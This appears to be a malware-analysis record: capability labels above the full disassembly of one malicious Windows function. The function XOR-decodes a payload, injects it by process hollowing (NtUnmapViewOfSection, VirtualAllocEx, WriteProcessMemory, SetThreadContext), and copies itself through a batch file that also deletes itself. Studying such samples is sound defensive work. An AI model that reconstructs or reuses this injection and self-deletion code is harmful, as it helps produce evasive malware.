Function at 0x401340
Capabilities:
Allocate or change rwx memory
Copy file
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path
Parse pe header
Query or enumerate registry value
Self delete
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x4175a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x408
push ebx
push ebp
push esi
push edi
push 0x47ab90
lea ecx, [esp + 0x14]
call fcn.0041117a
xor esi, esi
push 0x47ab8c
lea ecx, [esp + 0x14]
mov dword [esp + 0x424], esi
call fcn.0041177b
push 0x47ab88
lea ecx, [esp + 0x14]
call fcn.0041177b
push 0x47ab84
lea ecx, [esp + 0x14]
call fcn.0041177b
push 0x47ab80
lea ecx, [esp + 0x14]
call fcn.0041177b
push 0x47ab7c
lea ecx, [esp + 0x14]
call fcn.0041177b
push 0x47ab78
lea ecx, [esp + 0x14]
call fcn.0041177b
push 0x47ab74
lea ecx, [esp + 0x14]
call fcn.0041177b
push 0x47ab70
lea ecx, [esp + 0x14]
call fcn.0041177b
mov eax, dword [0x477330]
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x10]
mov byte [esp + 0x420], 1
mov ebp, dword [ecx - 8]
mov eax, ebp
cdq
sub eax, edx
sar eax, 1
push eax
call fcn.00411c54
add esp, 4
mov ebx, eax
cmp ebp, esi
mov dword [esp + 0x1c], ebx
jle 0x40148a
mov edi, ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_StrToIntExA]
push 0x47732c
lea ecx, [esp + 0x1c]
call fcn.00411542
push 2
lea edx, [esp + 0x2c]
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.004107f1
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x424], 2
call fcn.0041177b
lea ecx, [esp + 0x28]
mov byte [esp + 0x420], 1
call fcn.00411405
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x5c]
push eax
push 1
push ecx
call ebx
mov eax, dword [esp + 0x5c]
add esi, 2
xor eax, 7
inc edi
mov dword [esp + 0x5c], eax
mov byte [edi - 1], al
cmp esi, ebp
jl 0x401420
mov ebx, dword [esp + 0x1c]
push 0x100
push 0x100
lea ecx, [esp + 0x18]
call fcn.00411793
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
or ebp, 0xffffffff
lea ecx, [esp + 0x10]
push ebp
call fcn.004117e2
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x74]
push str.kernel32.dll
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x4014ee
lea ecx, [esp + 0x18]
mov byte [esp + 0x420], 0
call fcn.00411405
mov dword [esp + 0x420], ebp
jmp 0x401734
push str.CreateProcessA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x4014d1
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call ebp
lea edx, [esp + 0x48]
lea eax, [esp + 0x74]
mov ecx, dword [esp + 0x10]
push edx
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push ecx
call edi
mov eax, dword [esp + 0x4c]
lea edx, [esp + 0x14c]
push edx
push eax
mov dword [esp + 0x154], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x401555
mov ecx, dword [esp + 0x48]
push eax
push ecx
jmp 0x401712
cmp word [ebx], 0x5a4d
jne 0x40170b
mov esi, dword [ebx + 0x3c]
add esi, ebx
cmp dword [esi], 0x4550
je 0x401579
mov eax, dword [esp + 0x48]
push 0
push eax
jmp 0x401712
add esi, 4
mov dword [esp + 0x28], esi
add esi, 0x14
mov dword [esp + 0x14], esi
cmp word [esi], 0x10b
je 0x40159a
mov ecx, dword [esp + 0x48]
push 0
push ecx
jmp 0x401712
push str.Ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40170b
push str.NtUnmapViewOfSection
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x4015cc
push eax
mov eax, dword [esp + 0x4c]
push eax
jmp 0x401712
push edi
call ebp
mov ecx, dword [esi + 0x1c]
mov edx, dword [esp + 0x48]
push ecx
push edx
call ebx
test eax, eax
jge 0x4015ea
mov eax, dword [esp + 0x48]
push 0
push eax
jmp 0x401712
mov ecx, dword [esi + 0x38]
mov edx, dword [esi + 0x1c]
mov eax, dword [esp + 0x48]
push 0x40
push 0x3000
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
push 0
test edi, edi
jne 0x401616
mov ecx, dword [esp + 0x4c]
push ecx
jmp 0x401712
mov edx, dword [esi + 0x3c]
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x4c]
push edx
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40163a
mov ecx, dword [esp + 0x48]
push eax
push ecx
jmp 0x401712
mov edx, dword [esp + 0x28]
mov ebp, 1
add esi, 0xe0
cmp word [edx + 2], bp
jb 0x40168c
add esi, 0x10
mov eax, dword [esi - 4]
mov ecx, dword [esi + 4]
mov edx, dword [esi]
add eax, edi
add ecx, ebx
test edx, edx
je 0x40167a
push 0
push edx
push ecx
push eax
mov eax, dword [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40156d
mov edx, dword [esp + 0x28]
xor ecx, ecx
add esi, 0x28
inc ebp
mov cx, word [edx + 2]
cmp ebp, ecx
jle 0x401652
mov ecx, dword [esp + 0x14]
push str.kernel32.dll
mov edx, dword [ecx + 0x10]
add edx, edi
mov dword [esp + 0x200], edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x4016b5
push eax
mov eax, dword [esp + 0x4c]
push eax
jmp 0x401712
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SetThreadContext
push esi
call edi
test eax, eax
jne 0x4016cf
mov ecx, dword [esp + 0x48]
push eax
push ecx
jmp 0x401712
mov ecx, dword [esp + 0x4c]
lea edx, [esp + 0x14c]
push edx
push ecx
call eax
test eax, eax
je 0x40170b
push str.ResumeThread
push esi
call edi
mov edi, eax
test edi, edi
jne 0x4016f8
push eax
mov eax, dword [esp + 0x4c]
push eax
jmp 0x401712
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x4c]
push ecx
call edi
cmp eax, 0xffffffff
jne 0x401758
mov edx, dword [esp + 0x48]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 0x18]
mov byte [esp + 0x420], 0
call fcn.00411405
mov dword [esp + 0x420], 0xffffffff
lea ecx, [esp + 0x10]
call fcn.00411405
mov ecx, dword [esp + 0x418]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x414
ret
mov eax, dword [esp + 0x48]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x477330]
mov dword [esp + 0x2c], ecx
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0xb8]
lea edx, [esp + 0xb8]
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0xbc], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [0x477330]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], eax
push 0x100
push 0x100
lea ecx, [esp + 0x40]
mov byte [esp + 0x428], 5
call fcn.00411793
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x3c]
call fcn.004117e2
push 0x4772c0
lea ecx, [esp + 0x3c]
call fcn.00410921
push eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x40]
call fcn.00410887
mov ebx, 6
push eax
lea ecx, [esp + 0x3c]
mov byte [esp + 0x424], bl
call fcn.004114f2
lea ecx, [esp + 0x14]
mov byte [esp + 0x420], 5
call fcn.00411405
mov eax, dword [esp + 0xbc]
lea ecx, [esp + 0x58]
push ecx
cmp eax, ebx
push 0x20019
push 0
jne 0x4018bf
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40188b
lea edx, [esp + 0x14]
lea ecx, [esp + 0x3c]
push edx
push 0x104
mov dword [esp + 0x1c], 0x104
call fcn.00411793
push eax
mov eax, dword [esp + 0x60]
push 0
push 0
push str.RegisteredOwner
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x40]
call fcn.004117e2
mov ecx, dword [esp + 0x58]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x38]
lea ecx, [esp + 0x2c]
push edx
call fcn.004114f2
push str.Users_
lea ecx, [esp + 0x30]
call fcn.00411754
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x2c]
push eax
call fcn.0041177b
push str.AppDataRoaming
jmp 0x401948
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401919
lea edx, [esp + 0x14]
lea ecx, [esp + 0x3c]
push edx
push 0x104
mov dword [esp + 0x1c], 0x104
call fcn.00411793
push eax
mov eax, dword [esp + 0x60]
push 0
push 0
push str.AltDefaultUserName
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x40]
call fcn.004117e2
mov ecx, dword [esp + 0x58]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x38]
lea ecx, [esp + 0x2c]
push edx
call fcn.004114f2
push str.Documents_and_Settings_
lea ecx, [esp + 0x30]
call fcn.00411754
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x2c]
push eax
call fcn.0041177b
push str.Application_Data
lea ecx, [esp + 0x30]
call fcn.00411754
push 0
call fcn.00402897
push eax
call fcn.00402868
mov eax, dword [0x477330]
add esp, 8
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x34], eax
mov bl, 9
push 0x104
push 0x104
lea ecx, [esp + 0x2c]
mov byte [esp + 0x428], bl
call fcn.00411793
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x28]
call fcn.004117e2
mov esi, dword [esp + 0x34]
push 0x104
push 0x104
lea ecx, [esp + 0x3c]
call fcn.00411793
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x38]
call fcn.004117e2
push 0x5c
lea ecx, [esp + 0x28]
call fcn.004108ff
inc eax
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x2c]
call fcn.00410887
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x424], 0xa
call fcn.004114f2
lea ecx, [esp + 0x14]
mov byte [esp + 0x420], bl
call fcn.00411405
push 0x5c
lea ecx, [esp + 0x28]
call fcn.004108ff
inc eax
lea edx, [esp + 0x14]
push eax
push edx
lea ecx, [esp + 0x2c]
call fcn.004107ce
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x424], 0xb
call fcn.004114f2
lea ecx, [esp + 0x14]
mov byte [esp + 0x420], bl
call fcn.00411405
push 0x104
lea ecx, [esp + 0x24]
call fcn.00411793
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 0x24]
call fcn.004117e2
mov edi, dword [esp + 0x20]
push 0x104
push 0x104
lea ecx, [esp + 0x28]
call fcn.00411793
push eax
push edi
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x24]
call fcn.004117e2
lea eax, [esp + 0x20]
push str.jnduf.tmp
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.0041160d
mov edi, dword [eax]
lea edx, [esp + 0x24]
lea eax, [esp + 0x34]
push edx
lea ecx, [esp + 0x18]
push eax
push ecx
mov byte [esp + 0x42c], 0xc
call fcn.004115a7
mov eax, dword [eax]
push 0
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x14]
call fcn.00411405
lea ecx, [esp + 0x28]
mov byte [esp + 0x420], bl
call fcn.00411405
lea ecx, [esp + 0x60]
call fcn.0041182a
lea edx, [esp + 0x20]
push str.jnduf.bat
lea eax, [esp + 0x18]
mov bl, 0xd
push edx
push eax
mov byte [esp + 0x42c], bl
call fcn.0041160d
mov eax, dword [eax]
push 0
push 0x1002
push eax
lea ecx, [esp + 0x6c]
mov byte [esp + 0x42c], 0xe
call fcn.0041189f
lea ecx, [esp + 0x14]
mov edi, eax
mov byte [esp + 0x420], bl
call fcn.00411405
test edi, edi
je 0x401e40
push str._echo_off_n
lea ecx, [esp + 0x64]
call fcn.00411a12
lea ecx, [esp + 0x34]
lea edx, [esp + 0x40]
push ecx
push str.del__f__q
push edx
call fcn.00411681
lea ecx, [esp + 0x24]
lea edx, [esp + 0x28]
push ecx
push eax
push edx
mov byte [esp + 0x42c], 0xf
call fcn.004115a7
push 0x4771b4
push eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x428], 0x10
push eax
call fcn.0041160d
mov eax, dword [eax]
lea ecx, [esp + 0x60]
push eax
mov byte [esp + 0x424], 0x11
call fcn.00411a12
lea ecx, [esp + 0x14]
mov byte [esp + 0x420], 0x10
call fcn.00411405
lea ecx, [esp + 0x28]
mov byte [esp + 0x420], 0xf
call fcn.00411405
lea ecx, [esp + 0x40]
mov byte [esp + 0x420], bl
call fcn.00411405
lea ecx, [esp + 0x20]
lea edx, [esp + 0x30]
push ecx
push str.copy
push edx
call fcn.00411681
push 0x4771a0
push eax
lea eax, [esp + 0x4c]
mov byte [esp + 0x428], 0x12
push eax
call fcn.0041160d
lea ecx, [esp + 0x34]
lea edx, [esp + 0x28]
push ecx
push eax
push edx
mov byte [esp + 0x42c], 0x13
call fcn.004115a7
lea ecx, [esp + 0x24]
lea edx, [esp + 0x14]
push ecx
push eax
push edx
mov byte [esp + 0x42c], 0x14
call fcn.004115a7
push 0x4771b4
push eax
lea eax, [esp + 0x48]
mov byte [esp + 0x428], 0x15
push eax
call fcn.0041160d
mov eax, dword [eax]
lea ecx, [esp + 0x60]
push eax
mov byte [esp + 0x424], 0x16
call fcn.00411a12
lea ecx, [esp + 0x40]
mov byte [esp + 0x420], 0x15
call fcn.00411405
lea ecx, [esp + 0x14]
mov byte [esp + 0x420], 0x14
call fcn.00411405
lea ecx, [esp + 0x28]
mov byte [esp + 0x420], 0x13
call fcn.00411405
lea ecx, [esp + 0x44]
mov byte [esp + 0x420], 0x12
call fcn.00411405
lea ecx, [esp + 0x30]
mov byte [esp + 0x420], bl
call fcn.00411405
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0x20]
call fcn.0041117a
push str.MicrosoftMMCycmcg.dll
lea ecx, [esp + 0x20]
mov byte [esp + 0x424], 0x17
call fcn.00411754
mov edi, dword [esp + 0x1c]
push 0x104
push 0x104
lea ecx, [esp + 0x24]
call fcn.00411793
push eax
push edi
call esi
push 0xffffffffffffffff
lea ecx, [esp + 0x20]
call fcn.004117e2
lea edx, [esp + 0x1c]
push str._ProtectFile
lea eax, [esp + 0x18]
push edx
push eax
call fcn.0041160d
lea ecx, [esp + 0x34]
lea edx, [esp + 0x40]
push ecx
push eax
push edx
mov byte [esp + 0x42c], 0x18
call fcn.004115a7
lea ecx, [esp + 0x24]
lea edx, [esp + 0x44]
push ecx
push eax
push edx
mov byte [esp + 0x42c], 0x19
call fcn.004115a7
push 0x4771b4
push eax
lea eax, [esp + 0x38]
mov byte [esp + 0x428], 0x1a
push eax
call fcn.0041160d
mov eax, dword [eax]
lea ecx, [esp + 0x60]
push eax
mov byte [esp + 0x424], 0x1b
call fcn.00411a12
lea ecx, [esp + 0x30]
mov byte [esp + 0x420], 0x1a
call fcn.00411405
lea ecx, [esp + 0x44]
mov byte [esp + 0x420], 0x19
call fcn.00411405
lea ecx, [esp + 0x40]
mov byte [esp + 0x420], 0x18
call fcn.00411405
mov byte [esp + 0x420], 0x17
lea ecx, [esp + 0x14]
call fcn.00411405
lea ecx, [esp + 0x20]
lea edx, [esp + 0x44]
push ecx
push str.del__f__q
push edx
call fcn.00411681
push str.jnduf.tmp_n
push eax
lea eax, [esp + 0x38]
mov byte [esp + 0x428], 0x1c
push eax
call fcn.0041160d
mov eax, dword [eax]
lea ecx, [esp + 0x60]
push eax
mov byte [esp + 0x424], 0x1d
call fcn.00411a12
lea ecx, [esp + 0x30]
mov byte [esp + 0x420], 0x1c
call fcn.00411405
lea ecx, [esp + 0x44]
mov byte [esp + 0x420], 0x17
call fcn.00411405
push str.del__0
lea ecx, [esp + 0x64]
call fcn.00411a12
lea ecx, [esp + 0x60]
call fcn.00411bcf
lea ecx, [esp + 0x1c]
mov byte [esp + 0x420], bl
call fcn.00411405
lea ecx, [esp + 0x20]
push str.jnduf.tmp
lea edx, [esp + 0x34]
push ecx
push edx
call fcn.0041160d
mov eax, dword [eax]
push 0
push 2
push eax
lea ecx, [esp + 0x6c]
mov byte [esp + 0x42c], 0x1e
call fcn.0041189f
lea ecx, [esp + 0x30]
mov esi, eax
mov byte [esp + 0x420], bl
call fcn.00411405
test esi, esi
je 0x401f21
push 2
push 0xfffffffffffffff0
lea ecx, [esp + 0x68]
call fcn.00411b45
mov eax, dword [0x477330]
mov dword [esp + 0x1c], eax
mov byte [esp + 0x420], 0x1f
call fcn.00402875
push eax
call fcn.00402875
push eax
call fcn.00402875
push eax
call fcn.00402875
push eax
lea ecx, [esp + 0x2c]
push str._d_d_d_d
push ecx
call fcn.00410ca7
mov eax, dword [esp + 0x34]
add esp, 0x18
mov ecx, dword [eax - 8]
push ecx
push eax
lea ecx, [esp + 0x68]
call fcn.004119df
lea ecx, [esp + 0x60]
call fcn.00411bcf
lea edx, [esp + 0x20]
push str.jnduf.bat
lea eax, [esp + 0x34]
push edx
push eax
call fcn.0041160d
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [esp + 0x30]
call fcn.00411405
lea ecx, [esp + 0x1c]
mov byte [esp + 0x420], bl
call fcn.00411405
push 0
call fcn.00402775
nop
nop
nop
nop
nop
nop
nop
nop
mov cl, byte [0x47d36c]
mov al, 1
test al, cl
jne 0x401f44
or cl, al
mov byte [0x47d36c], cl
jmp 0x401f50
push 0x401030
call fcn.00402707
pop ecx
ret